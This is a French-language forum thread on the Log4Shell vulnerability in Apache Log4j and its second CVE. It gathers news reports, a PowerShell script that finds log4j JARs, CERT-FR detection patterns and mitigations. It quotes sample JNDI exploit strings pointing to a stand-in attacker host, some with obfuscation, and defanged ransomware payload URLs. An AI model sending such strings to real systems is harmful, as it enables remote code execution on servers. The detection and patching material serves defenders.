Discussion :

[you.baddi]

L'Apache Software Foundation a publié des correctifs pour contenir une vulnérabilité zero-day activement exploitée affectant la bibliothèque de journalisation Apache Log4j Java largement utilisée qui pourrait être militarisée pour exécuter du code malveillant et permettre une prise de contrôle complète des systèmes vulnérables.



Suivi comme CVE-2021-44228 et par les surnoms Log4Shell ou LogJam, le problème concerne un cas d'exécution de code à distance (RCE) non authentifié sur toute application qui utilise l'utilitaire open-source et affecte les versions Log4j 2.0-beta9 jusqu'à 2.14. 1. Le bogue a obtenu un score parfait de 10 sur 10 dans le système d'évaluation CVSS, ce qui indique la gravité du problème.

"Un attaquant qui peut contrôler les messages de journal ou les paramètres de message de journal peut exécuter du code arbitraire chargé à partir de serveurs LDAP lorsque la substitution de recherche de message est activée", a déclaré la Fondation Apache dans un avis. "À partir de Log4j 2.15.0, ce comportement a été désactivé par défaut."

Sauvegardes automatiques GitHub
L'exploitation peut être réalisée par une seule chaîne de texte, ce qui peut déclencher une application pour atteindre un hôte externe malveillant s'il est connecté via l'instance vulnérable de Log4j, donnant effectivement à l'adversaire la possibilité de récupérer une charge utile à partir d'un serveur distant et l'exécuter localement. Les responsables du projet ont crédité Chen Zhaojun de l'équipe de sécurité du cloud d'Alibaba d'avoir découvert le problème.

Log4j est utilisé comme package de journalisation dans une variété de logiciels populaires différents par un certain nombre de fabricants , notamment Amazon, Apple iCloud, Cisco , Cloudflare , ElasticSearch, Red Hat , Steam, Tesla, Twitter et des jeux vidéo tels que Minecraft . Dans le cas de ce dernier, les attaquants ont pu obtenir un RCE sur les serveurs Minecraft en collant simplement un message spécialement conçu dans la boîte de discussion.

Une immense surface d'attaque
« La vulnérabilité zero-day d'Apache Log4j est probablement la vulnérabilité la plus critique que nous ayons vue cette année », a déclaré Bharat Jogi, responsable principal des vulnérabilités et des signatures chez Qualys. "Log4j est une bibliothèque omniprésente utilisée par des millions d'applications Java pour la journalisation des messages d'erreur. Cette vulnérabilité est insignifiante à exploiter."

Les entreprises de cybersécurité BitDefender , Cisco Talos , Huntress Labs et Sonatype ont toutes confirmé des preuves d' une analyse massive des applications affectées à l'état sauvage pour les serveurs vulnérables et les attaques enregistrées contre leurs réseaux de pots de miel suite à la disponibilité d'un exploit de preuve de concept ( PoC ). "Il s'agit d'une attaque peu qualifiée qui est extrêmement simple à exécuter", a déclaré Ilkka Turunen de Sonatype.


GreyNoise, comparant la faille à Shellshock , a déclaré avoir observé une activité malveillante ciblant la vulnérabilité à partir du 9 décembre 2021. La société d'infrastructure Web Cloudflare a noté qu'elle bloquait environ 20 000 demandes d'exploitation par minute vers 18h00 UTC vendredi, avec la plupart des tentatives d'exploitation en provenance du Canada, des États-Unis, des Pays-Bas, de la France et du Royaume-Uni



Compte tenu de la facilité d'exploitation et de la prévalence de Log4j dans l'informatique d'entreprise et DevOps, les attaques dans la nature visant les serveurs sensibles devraient s'intensifier dans les prochains jours, ce qui rend impératif de corriger la faille immédiatement. La société de cybersécurité israélienne Cybereason a également publié un correctif appelé « Logout4Shell » qui comble la lacune en utilisant la vulnérabilité elle-même pour reconfigurer l'enregistreur et empêcher une nouvelle exploitation de l'attaque.

"Cette vulnérabilité Log4j (CVE-2021-44228) est extrêmement grave. Des millions d'applications utilisent Log4j pour la journalisation, et tout ce que l'attaquant a à faire est de faire en sorte que l'application enregistre une chaîne spéciale", a déclaré l' expert en sécurité Marcus Hutchins dans un tweet.


source : thehackernews

[Fundation]

Bonjour à tous,

Le travail d'enquête est extrêmement compliqué et laborieux.

Je suis tombé sur un post de Cyberwatch (entreprise de cybersécurité spécialisé dans la détection de faille) qui explique que la démarche serait de parcourir le disque à la recherche de JAR liés à Log4J.

Ils ont proposé un script pour faire le travail de recherche :

# POUR WINDOWS (PowerShell)
## Parcourir le disque à la recherche de JAR liés à Log4J
$jar = @()
$drives = Get-PSDrive -PSProvider 'FileSystem'
foreach($drive in $drives) {
$jar += Get-ChildItem -Path $Drive.Root -File -ErrorAction SilentlyContinue -Force -Recurse -Filter '*.jar'
}
foreach($line in $jar) {
if($line -match 'log4j'){
$path = $line.FullName
Write-Output "DEBUGotential log4j candidate on '$path'"
}
}

J'ai testé bêtement le script qui ne me renvoie aucune information.

Que pensez-vous du script ?
Est-il complet et fonctionnel selon-vous ?

Bien à vous,

[tabouret]

Hello,

Je confirme, la faille est vraiment violente (CVSS 10). Elle peut mener à une corruption complète d'un AD.
Sans compter que des scripts d'exploitation ont été dispo sur Github.

Lien permettant de détecter l'exploit sur un serveur:
https://gist.github.com/Neo23x0/e4c8...b7d15db6e3860b

Je regarderai non seulement la présence de .jar, mais aussi la présence de .war.

[Stéphane le calme]

Des cybercriminels exploitent activement la faille critique dans Log4J : plus de 840 000 attaques ont été détectées.
Le spectre d'un scénario rappelant Heartbleed fait surface

Une vulnérabilité dans Log4J permet à un attaquant de provoquer une exécution de code arbitraire à distance s'il a la capacité de soumettre une donnée à une application qui utilise la bibliothèque log4j pour journaliser l'évènement. Cette attaque peut être réalisée sans être authentifié, par exemple en tirant parti d'une page d'authentification qui journalise les erreurs d'authentification. Les entreprises spécialisées en cybersécurité indiquent que le nombre d'attaques profitant de cette faille se multiplient. Les membres de l’Apache Software Fondation ont développé un patch en catastrophe pour corriger la vulnérabilité, la version 2.15.0. Des contournements sont également possibles pour réduire les risques.

Apache Log4j, qu'est-ce que c'est ? Quelle est la sévérité de la faille ?

Le 9 décembre, une vulnérabilité a été découverte dans la bibliothèque de journalisation Apache log4j. Cette bibliothèque est très souvent utilisée dans les projets de développement d'application Java/J2EE ainsi que par les éditeurs de solutions logicielles sur étagère basées sur Java/J2EE.

Log4j inclut un mécanisme de recherche qui pourrait être utilisé pour effectuer des requêtes via une syntaxe spéciale dans une chaîne de format. Par exemple, il peut être utilisé pour demander divers paramètres comme la version de l'environnement Java via ${java:version}, etc. Ensuite, en spécifiant la clé jndi dans la chaîne, le mécanisme de recherche utilise l'API JNDI. Par défaut, toutes les requêtes sont effectuées en utilisant le préfixe java:comp/env/*; cependant, les auteurs ont implémenté l'option d'utiliser un préfixe personnalisé au moyen d'un symbole deux-points dans la clé. C'est là que réside la vulnérabilité : si jndi:ldap:// est utilisé comme clé, la requête va au serveur LDAP spécifié. D'autres protocoles de communication, tels que LDAPS, DNS et RMI, peuvent également être utilisés.

Ainsi, un serveur distant contrôlé par un attaquant pourrait renvoyer un objet à un serveur vulnérable, entraînant potentiellement l'exécution de code arbitraire dans le système ou la fuite de données confidentielles. Tout ce qu'un attaquant doit faire est d'envoyer une chaîne spéciale via le mécanisme qui écrit cette chaîne dans un fichier journal et est donc gérée par la bibliothèque Log4j. Cela peut être fait avec de simples requêtes HTTP, par exemple, celles envoyées via des formulaires Web, des champs de données, etc., ou avec tout autre type d'interactions utilisant la journalisation côté serveur.

La vulnérabilité a été caractérisé par Tenable comme « la vulnérabilité la plus importante et la plus critique de la dernière décennie ».

Des preuves de concept ont déjà été publiées. Cette vulnérabilité fait désormais l'objet d'une exploitation active.

La sévérité de la brèche est maximale 10 sur l’échelle CVSS.

Voici la liste des systèmes affectés :

• Apache Log4j versions 2.0 à 2.14.1
• Apache Log4j versions 1.x (versions obsolètes) sous réserve d'une configuration particulière.
• Les produits utilisant une version vulnérable de Apache Log4j : les CERT nationaux européens tiennent à jour une liste complète des produits et de leur statut vis-à-vis de la vulnérabilité

Le CERT-FR recommande de réaliser une analyse approfondie des journaux réseau. Les motifs suivants permettent d'identifier une tentative d'exploitation de cette vulnérabilité lorsqu'ils sont utilisés dans les URLs ou certaines en-têtes HTTP comme user-agent :

Code :

Sélectionner tout - Visualiser dans une fenêtre à part

1
2
${jndi:
$%7Bjndi:     (prend en compte un obscurcissement simple)

Cependant, les attaquants peuvent utiliser des moyens d’obscurcissement pour contourner les motifs de détection précédents. Les motifs suivants permettent de prendre en compte certaines méthodes d'obscurcissement mais peuvent provoquer des faux positifs :

Code :

Sélectionner tout - Visualiser dans une fenêtre à part

1
2
3
4
5
6
7
8
9
10
${${
${::-
%24%7B%3A%3A-
${env:
${date:
${lower:
${upper:
hostName}
}${
${                   (génère beaucoup de faux positifs, mais très exhaustif)

Afin de déterminer si une tentative d'exploitation a réussi, et dans le cas où vous disposeriez de journaux contenant des requêtes DNS, il est recommandé de les corréler aux résultats des motifs précédemment énoncés. En effet, si l’exécution d'une requête de type ${jndi:xxx://nom.domaine.com} a fonctionné, une résolution DNS sera alors effectuée pour résoudre le nom de domaine externe nom.domaine.com. L'émission d'une requête DNS peut également faire l'objet d'une trace dans les journaux du serveur applicatif. Ainsi, il peut être utile de chercher le motif com.sun.jndi.dns.DnsContext@ dans ces journaux. Une résolution de domaine externe ne signifie pas qu'une exécution de code a réussi mais permet de confirmer que l'application est vulnérable. Il sera donc nécessaire de poursuivre l'analyse des journaux pour détecter une compromission.

Il est fortement recommandé d'utiliser la version 2.15.0 de log4j dès que possible. Cependant, en cas de difficulté de migration vers cette version, les contournements ci-dessous peuvent être appliqués temporairement :

• Pour les applications utilisant les versions 2.7.0 et ultérieures de la bibliothèque log4j, il est possible de se prémunir contre toute attaque en modifiant le format des évènements à journaliser avec la syntaxe %m{nolookups} pour les données qui seraient fournies par l'utilisateur. Cette modification impose de modifier le fichier de configuration de log4j pour produire une nouvelle version de l'application. Cela requiert donc d'effectuer de nouveau les étapes de validation technique et fonctionnelle avant le déploiement de cette nouvelle version.
• Pour les applications utilisant les versions 2.10.0 et ultérieures de la bibliothèque log4j, il est également possible de se prémunir contre toute attaque en modifiant le paramètre de configuration log4j2.formatMsgNoLookups à la valeur true, par exemple lors du lancement de la machine virtuelle Java avec l'option -Dlog4j2.formatMsgNoLookups=true. Une autre alternative consiste à supprimer la classe JndiLookup dans le paramètre classpath pour éliminer le vecteur principal d'attaque (les chercheurs n'excluent pas l'existence d'un autre vecteur d'attaque).

Plus de 840 000 attaques ont été lancées

Selon des chercheurs, des pirates, dont des groupes soutenus par l'État chinois mais aussi par la Russie, ont lancé plus de 840 000 attaques contre des entreprises dans le monde depuis vendredi dernier via cette vulnérabilité.

Le groupe de cybersécurité Check Point a déclaré que les attaques liées à la vulnérabilité s'étaient accélérées au cours des 72 heures depuis vendredi et qu'à certains moments, ses chercheurs voyaient plus de 100 attaques par minute. L’éditeur a également observé une forte créativité dans l’adaptation de l’attaque. Parfois, plus de 60 nouvelles variations apparaissent en moins de 24 heures, introduisant de nouvelles techniques d’obfuscation ou de codage.

Les auteurs incluent des « attaquants du gouvernement chinois », selon Charles Carmakal, directeur de la technologie de la cyber-entreprise Mandiant.

La faille de Log4J permet aux attaquants de prendre le contrôle à distance des ordinateurs exécutant des applications en Java.

Jen Easterly, directrice de l'Agence américaine de cybersécurité et de sécurité des infrastructures (CISA), a déclaré aux dirigeants de l'industrie que la vulnérabilité était « l'une des plus graves que j'ai vues de toute ma carrière, sinon la plus grave », selon les médias américains. Des centaines de millions d'appareils sont susceptibles d'être touchés, a-t-elle déclaré.

Check Point a déclaré que dans de nombreux cas, les pirates prenaient le contrôle d'ordinateurs pour les utiliser pour miner de la crypto-monnaie ou pour faire partie de botnets, de vastes réseaux d'ordinateurs pouvant être utilisés pour submerger les sites Web de trafic, pour envoyer du spam ou pour d'autres fins illégales.

Pour Kaspersky, la plupart des attaques proviennent de la Russie.

La CISA et le National Cyber ​​Security Center du Royaume-Uni ont maintenant émis des alertes exhortant les organisations à effectuer des mises à niveau liées à la vulnérabilité Log4J, alors que les experts tentent d'évaluer les retombées. Amazon, Apple, IBM, Microsoft et Cisco font partie de ceux qui se sont précipités pour publier des correctifs, mais aucune violation grave n'a été signalée publiquement jusqu'à présent.

La vulnérabilité est la dernière à toucher les réseaux d'entreprise, après l'émergence de failles au cours de la dernière année dans les logiciels couramment utilisés de Microsoft et de la société informatique SolarWinds. Ces deux vulnérabilités auraient été initialement exploitées par des groupes d'espionnage soutenus par l'État de Chine et de Russie respectivement.

Carmakal de Mandiant a déclaré que les acteurs soutenus par l'État chinois tentaient également d'exploiter le bogue Log4J mais ont refusé de partager plus de détails. Des chercheurs de SentinelOne ont également déclaré aux médias qu'ils avaient observé des pirates informatiques chinois tirer parti de la vulnérabilité.

Selon Check Point, près de la moitié de toutes les attaques ont été menées par des cyber-attaquants connus. Ceux-ci comprenaient des groupes utilisant Tsunami et Mirai, des logiciels malveillants qui transforment les appareils en botnets, ou des réseaux utilisés pour lancer des piratages contrôlés à distance tels que des attaques par déni de service. Il comprenait également des groupes utilisant XMRig, un logiciel qui exploite la monnaie numérique Monero.

« Avec cette vulnérabilité, les attaquants obtiennent une puissance presque illimitée - ils peuvent extraire des données sensibles, télécharger des fichiers sur le serveur, supprimer des données, installer un ransomware ou pivoter vers d'autres serveurs », a déclaré Nicholas Sciberras, responsable de l'ingénierie chez Acunetix, scanner de vulnérabilités. Il a été « étonnamment facile » de déployer une attaque, a-t-il déclaré, ajoutant que la faille serait « exploitée pendant des mois à venir ».

La source de la vulnérabilité est un code défectueux développé par des bénévoles de l'association à but non lucratif Apache Software Foundation, qui gère plusieurs projets open source, soulevant des questions sur la sécurité des parties vitales de l'infrastructure informatique. Log4J a été téléchargé des millions de fois.

La faille est passée inaperçue depuis 2013, estiment les experts. Matthew Prince, directeur général du cybergroupe Cloudflare, a déclaré qu'elle avait commencé à être activement exploité à partir du 1^er décembre, bien qu'il n'y ait eu aucune « preuve d'exploitation de masse avant la divulgation publique » d'Apache la semaine suivante.

Pour sa part, Bitdefender a vu des tentatives d'installations d’un ransomware baptisé Khonsari et d’une porte dérobée appelée Orcus, réalisées grâce à Log4Shell :

« Alors que la plupart des attaques observées jusqu'à présent semblent cibler des serveurs Linux, nous avons également vu des attaques contre des systèmes exécutant le système d'exploitation Windows. Pour ces attaques, nous avons détecté la tentative de déploiement d'une famille de ransomwares appelée Khonsari.

« Cette tentative d'exploitation de la vulnérabilité Log4j utilise la classe malveillante hxxp://3.145.115[.]94/Main.class pour télécharger une charge utile supplémentaire. Le dimanche 11 décembre, Bitdefender a observé cette charge utile comme un téléchargement de fichier binaire .NET malveillant depuis hxxp://3.145.115[.]94/zambo/groenhuyzen.exe. Il s'agit d'une nouvelle famille de ransomwares, appelée Khonsari d'après l'extension utilisée sur les fichiers cryptés.

« Une fois exécuté, le fichier malveillant listera tous les lecteurs et les chiffrera entièrement, à l'exception du lecteur C:\. Sur le lecteur C:\, Khonsari chiffrera uniquement les dossiers suivants*:

• C:\Utilisateurs\<utilisateur>\Documents
• C:\Utilisateurs\<utilisateur>\Vidéos
• C:\Utilisateurs\<utilisateur>\Images
• C:\Utilisateurs\<utilisateur>\Téléchargements
• C:\Utilisateurs\<utilisateur>\Bureau

« Les fichiers avec les extensions .ini et .lnk sont ignorés. L'algorithme utilisé pour le cryptage est AES 128 CBC utilisant PaddingMode.Zeros. Après chiffrement, l'extension .khonsari est ajoutée à chaque fichier ».

Sources : Check Point, Kaspersky, NetLab 360, CERT-FR, Cados Security, Bitdefender

[phil995511]

"Plus de 840 000 attaques ont été lancées

Selon des chercheurs, des pirates, dont des groupes soutenus par l'État chinois mais aussi par la Russie, ont lancé plus de 840 000 attaques contre des entreprises dans le monde depuis vendredi dernier via cette vulnérabilité."

Si des états utilisent bel et bien, directement ou indirectement de telles failles pour nous attaquer, il faudrait songer très sérieusement à l'option de les déconnecter du net mondial... Après avoir subi de telles sanctions ils réfléchiront à deux fois avant de s'en reprendre à nous !!

[marsupial]

Je veux bien déconnecter la Chine et la Russie du net, mais comment feront les membres de l'OTAN pour les espionner ?
De plus les états occidentaux ne sont pas en reste pour lancer des attaques, five eyes en tête. Donc il faudrait aussi les déconnecter du net ?

[Stéphane le calme]

Deuxième vulnérabilité Log4j découverte : un correctif est déjà publié, le correctif de la première vulnérabilité étant « incomplet ».
Microsoft détecte une nouvelle vague d'activités parrainées par l'État se concentrant sur le bogue Logj4

Une deuxième vulnérabilité impliquant Apache Log4j a été découverte mardi après que des experts en cybersécurité aient passé des jours à essayer de corriger ou d'atténuer CVE-2021-44228. La description de la nouvelle vulnérabilité, CVE 2021-45046, indique que le correctif pour résoudre CVE-2021-44228 dans Apache Log4j 2.15.0 était « incomplet dans certaines configurations autres que celles par défaut ». « Cela pourrait permettre aux attaquants... de créer des données d'entrée malveillantes à l'aide d'un modèle de recherche JNDI, ce qui entraînerait une attaque par déni de service (DOS) », indique la description de CVE. Apache a déjà publié un correctif, Log4j 2.16.0, pour ce problème. Le CVE indique que Log4j 2.16.0 résout le problème en supprimant la prise en charge des modèles de recherche de messages et en désactivant la fonctionnalité JNDI par défaut. Il note que le problème peut être atténué dans les versions précédentes en supprimant la classe JndiLookup du chemin de classe.

Une vulnérabilité dans Log4J permet à un attaquant de provoquer une exécution de code arbitraire à distance s'il a la capacité de soumettre une donnée à une application qui utilise la bibliothèque log4j pour journaliser l'évènement. Cette attaque peut être réalisée sans être authentifié, par exemple en tirant parti d'une page d'authentification qui journalise les erreurs d'authentification. Les entreprises spécialisées en cybersécurité indiquent que le nombre d'attaques profitant de cette faille se multiplient. Les membres de l’Apache Software Fondation ont développé un patch en catastrophe pour corriger la vulnérabilité, la version 2.15.0. Des contournements sont également possibles pour réduire les risques.

Après que les responsables de log4j ont publié la version 2.15.0 pour corriger la vulnérabilité Log4Shell, un vecteur d'attaque supplémentaire a été identifié et signalé dans CVE-2021-45046. Les recherches de LunaSec montre que ce nouveau CVE invalide les atténuations précédentes utilisées pour protéger les versions 2.7.0 <= Apache log4j <= 2.14.1 de Log4Shell dans certains cas.

Conditions de la vulnérabilité​

Vous pouvez toujours être vulnérable à Log4Shell (RCE) si vous n'avez activé que l'indicateur noMsgFormatLookups ou défini %m{nolookups} lorsque vous définissez également des données dans le ThreadContext avec des données contrôlées par un attaquant. Dans ce cas, vous devez passer à 2.16.0 ou bien vous serez toujours vulnérable à RCE.

Le nouveau CVE est difficile à comprendre

La mention d'un éventuel RCE est malheureusement absente du CVE publié. Dans le CVE, il ne mentionne qu'une éventuelle attaque "Denial-of-Service" pour les versions antérieures à 2.15.0.

En raison de ces résultats, LunaSec recommande à tous ceux qui utilisent log4j de mettre immédiatement à niveau vers 2.16.0 ou une version ultérieure, ou de corriger manuellement leurs classes log4j.

John Bambenek, expert en cybersécurité pour le compte de Netenrich, a déclaré que la solution consiste à désactiver complètement la fonctionnalité JNDI (ce qui est le comportement par défaut dans la dernière version). « Au moins une douzaine de groupes utilisent ces vulnérabilités, donc des mesures immédiates doivent être prises pour corriger, supprimer JNDI ou le retirer du chemin de classe (de préférence tout ce qui précède) », a déclaré Bambenek.

La société de sécurité internationale ESET a publié une carte indiquant où les tentatives d'exploitation de Log4j ont été effectuées, le volume le plus élevé se produisant aux États-Unis, au Royaume-Uni, en Turquie, en Allemagne et aux Pays-Bas. 1 Le volume de nos détections confirme qu'il s'agit d'un problème à grande échelle qui ne disparaîtra pas de sitôt », a déclaré Roman Kováč, directeur de la recherche chez ESET.

Microsoft détecte une nouvelle vague d'activités parrainées par l'État se concentrant sur le bogue Logj4

L'équipe unifiée de renseignement sur les menaces de Microsoft, comprenant le Microsoft Threat Intelligence Center (MSTIC), l'équipe Microsoft 365 Defender Threat Intelligence, RiskIQ et l'équipe Microsoft de détection et de réponse (DART), entre autres, a suivi les menaces en profitant de CVE-2021- 44228, une vulnérabilité d'exécution de code à distance (RCE) dans Apache Log4j 2 appelée « Log4Shell ».

La vulnérabilité permet l'exécution de code à distance non authentifié, et elle est déclenchée lorsqu'une chaîne spécialement conçue fournie par l'attaquant via une variété de vecteurs d'entrée différents est analysée et traitée par le composant vulnérable Log4j 2.

La plupart des attaques que Microsoft a observées à l'heure actuelle étaient liées à l'analyse de masse par des attaquants tentant d'identifier des systèmes vulnérables, ainsi qu'à l'analyse par des sociétés de sécurité et des chercheurs. Un exemple de modèle d'attaque apparaîtrait dans un journal de requêtes Web avec des chaînes comme les suivantes*: ${jndi:ldap://[attacker site]/a}.

Un attaquant effectue une requête HTTP sur un système cible, qui génère un journal à l'aide de Log4j 2 qui utilise JNDI pour effectuer une requête sur le site contrôlé par l'attaquant. La vulnérabilité amène alors le processus exploité à atteindre le site et à exécuter la charge utile. Dans de nombreuses attaques observées, le paramètre appartenant à l'attaquant est un système de journalisation DNS, destiné à enregistrer une demande sur le site pour identifier les systèmes vulnérables.

La chaîne spécialement conçue qui permet l'exécution de cette vulnérabilité peut être identifiée via plusieurs composants. La chaîne contient "jndi", qui fait référence à Java Naming and Directory Interface. Suite à cela, le protocole, tel que "ldap", "ldaps", "rmi", "dns", "iiop" ou "http", précède le domaine de l'attaquant.

Alors que les équipes de sécurité s'efforcent de détecter l'exploitation de la vulnérabilité, les attaquants ont ajouté de l'obscurcissement à ces demandes pour échapper aux détections basées sur des modèles de demande. Microsoft a vu des évènements comme l'exécution d'une commande inférieure ou supérieure dans la chaîne d'exploitation ({jndi:${lower:l}${lower:d}a${lower:p})et des tentatives d'obscurcissement encore plus compliquées (${$ {::-j}${::-n}${::-d}${::-i}) qui tentent tous de contourner les détections de correspondance de chaîne.

Au moment ou Microsoft a publié son billet, la grande majorité de l'activité observée était de l'analyse, mais des activités d'exploitation et de post-exploitation ont également été observées. En fonction de la nature de la vulnérabilité, une fois que l'attaquant a un accès et un contrôle complets d'une application, il peut atteindre une multitude d'objectifs. Microsoft a observé des activités telles que l'installation de mineurs de pièces, Cobalt Strike pour permettre le vol d'identifiants et le mouvement latéral, et l'exfiltration de données à partir de systèmes compromis.

Au 14 décembre 2021, Microsoft a observé plusieurs acteurs de la menace tirant parti de la vulnérabilité CVE-2021-44228 dans les attaques actives. Microsoft continuera de surveiller les menaces en tirant parti de cette vulnérabilité et de fournir des mises à jour dès qu'elles seront disponibles.

Activité de l'État-nation

Le MSTIC a également observé que la vulnérabilité CVE-2021-44228 était utilisée par plusieurs groupes d'activités d'États-nations suivis provenant de Chine, d'Iran, de Corée du Nord et de Turquie. Cette activité va de l'expérimentation pendant le développement, à l'intégration de la vulnérabilité au déploiement de la charge utile dans la nature et à l'exploitation par rapport aux cibles pour atteindre les objectifs de l'acteur.

Par exemple, le MSTIC a observé PHOSPHORUS, un acteur iranien qui a déployé un ransomware, acquérant et modifiant l'exploit Log4j.

En outre, HAFNIUM, un groupe d'acteurs menaçants opérant à partir de la Chine, a été observé utilisant la vulnérabilité pour attaquer l'infrastructure de virtualisation pour étendre son ciblage typique. Dans ces attaques, des systèmes associés à HAFNIUM ont été observés utilisant un service DNS généralement associé à une activité de test des systèmes de fingerprinting.

Courtiers d'accès associés aux ransomwares

MSTIC et l'équipe Microsoft 365 Defender ont confirmé que plusieurs groupes d'activités suivis agissant en tant que courtiers d'accès ont commencé à utiliser la vulnérabilité pour obtenir un accès initial aux réseaux cibles. Ces courtiers d'accès vendent ensuite l'accès à ces réseaux à des affiliés de ransomware-as-a-service. L'éditeur a observé que ces groupes tentaient d'exploiter à la fois les systèmes Linux et Windows, ce qui peut entraîner une augmentation de l'impact des ransomwares exploités par l'homme sur ces deux plateformes de système d'exploitation.

L'activité d'analyse de masse se poursuit

La grande majorité du trafic observé par Microsoft reste des analyses de masse par les attaquants et les chercheurs en sécurité. Microsoft a observé une adoption rapide de cette vulnérabilité dans les botnets existants comme Mirai, des campagnes existantes ciblant auparavant les systèmes Elasticsearch vulnérables pour déployer des mineurs de crypto-monnaie et une activité déployant la porte dérobée Tsunami sur les systèmes Linux. Bon nombre de ces campagnes exécutent des activités d'analyse et d'exploitation simultanées pour les systèmes Windows et Linux, à l'aide de commandes Base64 incluses dans la demande JDNI:ldap:// pour lancer des commandes bash sous Linux et PowerShell sous Windows.

Microsoft a également continué à observer des activités malveillantes effectuant des fuites de données via la vulnérabilité sans laisser tomber une charge utile. Ce scénario d'attaque pourrait être particulièrement impactant contre les périphériques réseau dotés d'une terminaison SSL, où l'acteur pourrait divulguer des secrets et des données.

Mesures d'atténuation

Le CERT-FR recommande de réaliser une analyse approfondie des journaux réseau. Les motifs suivants permettent d'identifier une tentative d'exploitation de cette vulnérabilité lorsqu'ils sont utilisés dans les URLs ou certaines en-têtes HTTP comme user-agent :

Code :

Sélectionner tout - Visualiser dans une fenêtre à part

1
2
${jndi:
$%7Bjndi:     (prend en compte un obscurcissement simple)

Cependant, les attaquants peuvent utiliser des moyens d’obscurcissement pour contourner les motifs de détection précédents. Les motifs suivants permettent de prendre en compte certaines méthodes d'obscurcissement mais peuvent provoquer des faux positifs :

Code :

Sélectionner tout - Visualiser dans une fenêtre à part

1
2
3
4
5
6
7
8
9
10
${${
${::-
%24%7B%3A%3A-
${env:
${date:
${lower:
${upper:
hostName}
}${
${                   (génère beaucoup de faux positifs, mais très exhaustif)

Afin de déterminer si une tentative d'exploitation a réussi, et dans le cas où vous disposeriez de journaux contenant des requêtes DNS, il est recommandé de les corréler aux résultats des motifs précédemment énoncés. En effet, si l’exécution d'une requête de type ${jndi:xxx://nom.domaine.com} a fonctionné, une résolution DNS sera alors effectuée pour résoudre le nom de domaine externe nom.domaine.com. L'émission d'une requête DNS peut également faire l'objet d'une trace dans les journaux du serveur applicatif. Ainsi, il peut être utile de chercher le motif com.sun.jndi.dns.DnsContext@ dans ces journaux. Une résolution de domaine externe ne signifie pas qu'une exécution de code a réussi mais permet de confirmer que l'application est vulnérable. Il sera donc nécessaire de poursuivre l'analyse des journaux pour détecter une compromission.

Il est fortement recommandé d'utiliser la version 2.15.0 de log4j dès que possible. Cependant, en cas de difficulté de migration vers cette version, les contournements ci-dessous peuvent être appliqués temporairement :

• Pour les applications utilisant les versions 2.7.0 et ultérieures de la bibliothèque log4j, il est possible de se prémunir contre toute attaque en modifiant le format des évènements à journaliser avec la syntaxe %m{nolookups} pour les données qui seraient fournies par l'utilisateur. Cette modification impose de modifier le fichier de configuration de log4j pour produire une nouvelle version de l'application. Cela requiert donc d'effectuer de nouveau les étapes de validation technique et fonctionnelle avant le déploiement de cette nouvelle version.
• Pour les applications utilisant les versions 2.10.0 et ultérieures de la bibliothèque log4j, il est également possible de se prémunir contre toute attaque en modifiant le paramètre de configuration log4j2.formatMsgNoLookups à la valeur true, par exemple lors du lancement de la machine virtuelle Java avec l'option -Dlog4j2.formatMsgNoLookups=true. Une autre alternative consiste à supprimer la classe JndiLookup dans le paramètre classpath pour éliminer le vecteur principal d'attaque (les chercheurs n'excluent pas l'existence d'un autre vecteur d'attaque).

Sources : CVE 2021-45046, LunaSec, Microsoft, CERT-FR

[marsupial]

Pour l'instant l'intéressant avec l'open source est qu'on dispose de patchs rapides. Mais tellement utilisé qu'on est pas loin d'une catastrophe. Log4j n'étant plus amélioré depuis 2013 d'après ce que j'ai compris de ars technica, la faille est exploitée depuis sa révélation et le patch 2.16.0 est urgent pour être utilisé sans risque. La faille date de 2013 et n'a été découverte que le 23 novembre 2021 par des chercheurs en sécurité d'Alibaba.

[grunk]

Si on pouvait supprimer la mention "Apache" quand on parle de Log4J svp ... j'en peux plus de devoir expliquer que les serveurs web Apache n'ont rien à voir avec cette faille et que non ca ne sert à rien de tous les couper tant qu'on aura pas patcher votre application web qui n'est de toute manière pas concernée

[Metal3d]

Si on pouvait supprimer la mention "Apache" quand on parle de Log4J svp ... j'en peux plus de devoir expliquer que les serveurs web Apache n'ont rien à voir avec cette faille et que non ca ne sert à rien de tous les couper tant qu'on aura pas patcher votre application web qui n'est de toute manière pas concernée

@Grunk, non, c'est bien "Apache Log4J", que les gens apprennent plutôt que le serveur Web en question est "Httpd" et non pas "Apache". La faute à Debian ça, mal nommer les packages (et les utilisateurs, ainsi que mettre des dossiers de conf httpd inventés que personne d'autre n'utilise...).
Y'a un moment, faut instruire les utilisateurs et les clients, et pas se plier aux mauvaise dénomination

[grunk]

@Grunk, non, c'est bien "Apache Log4J", que les gens apprennent plutôt que le serveur Web en question est "Httpd" et non pas "Apache". La faute à Debian ça, mal nommer les packages (et les utilisateurs, ainsi que mettre des dossiers de conf httpd inventés que personne d'autre n'utilise...).
Y'a un moment, faut instruire les utilisateurs et les clients, et pas se plier aux mauvaise dénomination

Instruire les clients ce n'est pas possible. Et quand tu vois que la moitié de la presse spécialisé fait l'amalgame , on est pas sortie des ronces

[Stéphane le calme]

Le premier correctif de la vulnérabilité critique zero day Log4J a sa propre vulnérabilité qui est déjà exploitée,
les entreprises sont exhortées à utiliser le second

Depuis que la vulnérabilité a été découverte la semaine dernière, le monde de la cybersécurité est passé à la vitesse supérieure pour identifier les applications vulnérables, détecter les attaques potentielles et atténuer les exploits autant que possible. Néanmoins, les hacks sérieux utilisant l'exploit sont presque certains.

Jeudi de la semaine dernière, le monde a appris l'exploitation dans la nature d'une faille zero day dans Log4J, un utilitaire de journalisation. Jusqu'à présent, les chercheurs ont observé des attaquants utilisant la vulnérabilité Log4j pour installer des ransomwares sur des serveurs de pots de miel, des machines délibérément rendues vulnérables dans le but de suivre les nouvelles menaces. Une entreprise de cybersécurité a signalé que près de la moitié des réseaux d'entreprise qu'elle surveillait avaient vu des tentatives d'exploitation de la vulnérabilité. Le PDG de Cloudflare, un fournisseur de sécurité de sites Web et de réseaux, a annoncé très tôt que la menace était si grave que l'entreprise déploierait une protection par pare-feu pour tous les clients, y compris ceux qui ne bénéficiaient pas d'une formule payante. Mais les nouvelles concrètes sur l'exploitation dans la nature restent rares, probablement parce que les victimes ne savent pas ou ne veulent pas encore reconnaître publiquement que leurs systèmes ont été violés.

Ce qui est sûr, c'est que la portée de la vulnérabilité est énorme. Une liste des logiciels concernés compilée par la Cybersecurity and Infrastructure Security Agency (CISA) (et limitée aux seules plateformes logicielles d'entreprise) s'étend sur plus de 500 éléments. Une liste de toutes les applications concernées s'étendrait sans aucun doute à plusieurs milliers d'autres.

